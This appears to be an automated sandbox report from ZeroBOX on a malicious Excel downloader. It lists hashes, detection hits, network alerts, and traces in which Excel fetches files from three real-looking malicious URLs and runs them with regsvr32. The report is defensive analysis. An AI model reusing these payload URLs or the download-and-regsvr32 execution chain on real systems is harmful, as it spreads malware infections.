popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

biz-1431840176.xls

Downloader MSOffice File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 20, 2021, 3:45 p.m. Oct. 20, 2021, 3:49 p.m.
Size 243.0KB
Type Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Tue Oct 19 14:34:36 2021, Security: 0
MD5 b0cca0af3bbafeae72288f34a065de04
SHA256 a545ebca48d9f26e609c74fe8298850c1dae583d194793dcdd29c65d00ced0e8
CRC32 DC97F12E
ssdeep 6144:sKpb8rGYrMPe3q7Q0XV5xtuEsi8/dgg9DWncZZttTq1JOL7gvOUPDElYvS3GHo7g:S9Dl7TmUL7gvjDa3HLvfX1mOC
Yara
  • Microsoft_Office_File_Downloader_Zero - Microsoft Office File Downloader
  • Microsoft_Office_File_Zero - Microsoft Office File

Name Response Post-Analysis Lookup
meettrust.in
A 208.91.197.91
192.185.129.109
aqissarafood.com.my
A 103.27.74.73
103.27.74.73
radiocaca.top
A 103.221.220.15
103.221.220.15
x1.i.lencr.org
CNAME crl.root-x1.letsencrypt.org.edgekey.net
CNAME e8652.dscx.akamaiedge.net
A 104.76.75.146
104.74.211.103
IP Address Status Action
103.221.220.15 Active Moloch
103.27.74.73 Active Moloch
104.76.75.146 Active Moloch
164.124.101.2 Active Moloch
208.91.197.91 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49174 -> 103.221.220.15:443 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 192.168.56.103:49174 -> 103.221.220.15:443 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 192.168.56.103:49172 -> 103.221.220.15:443 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 192.168.56.103:49172 -> 103.221.220.15:443 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
UDP 192.168.56.103:50665 -> 164.124.101.2:53 2023883 ET DNS Query to a *.top domain - Likely Hostile Potentially Bad Traffic
TCP 192.168.56.103:49172 -> 103.221.220.15:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49168 -> 208.91.197.91:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 103.221.220.15:443 -> 192.168.56.103:49174 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 103.221.220.15:443 -> 192.168.56.103:49174 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 103.221.220.15:443 -> 192.168.56.103:49172 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 103.221.220.15:443 -> 192.168.56.103:49172 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 192.168.56.103:49173 -> 103.221.220.15:443 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 192.168.56.103:49173 -> 103.221.220.15:443 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 192.168.56.103:49173 -> 103.221.220.15:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49169 -> 103.27.74.73:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 103.221.220.15:443 -> 192.168.56.103:49173 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 103.221.220.15:443 -> 192.168.56.103:49173 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49168
208.91.197.91:443 		C=US, ST=California, L=test, O=testexample, OU=testexample, CN=testexp C=US, ST=California, L=test, O=testexample, OU=testexample, CN=testexp 1a:42:b0:7f:5f:73:d2:53:5e:40:25:cc:97:6b:8e:88:ba:45:71:68
TLSv1
192.168.56.103:49169
103.27.74.73:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.anamuslimpreschool.com 31:f5:04:25:4c:24:41:84:cf:0d:b6:1f:75:76:e9:8f:23:f0:c9:ea

request GET http://x1.i.lencr.org/
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6bf98000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6b152000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2172
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2764
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0
cmdline regsvr32 C:\Datop\test.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
cmdline regsvr32 C:\Datop\test1.test
cmdline regsvr32 C:\Datop\test2.test
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef70000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

URLDownloadToFileW

 url: https://meettrust.in/aMZID8gQ/u.html
stack_pivoted: 0
filepath_r: C:\Datop\test.test
filepath: C:\Datop\test.test
2148270105 0

URLDownloadToFileW

 url: https://aqissarafood.com.my/eAu610rn3w8V/u.html
stack_pivoted: 0
filepath_r: C:\Datop\test1.test
filepath: C:\Datop\test1.test
2148270105 0

URLDownloadToFileW

 url: https://radiocaca.top/RVDXQ4D7cWU6/u.html
stack_pivoted: 0
filepath_r: C:\Datop\test2.test
filepath: C:\Datop\test2.test
2148270085 0
parent_process excel.exe martian_process regsvr32 C:\Datop\test.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test1.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test2.test
file C:\Windows\System32\regsvr32.exe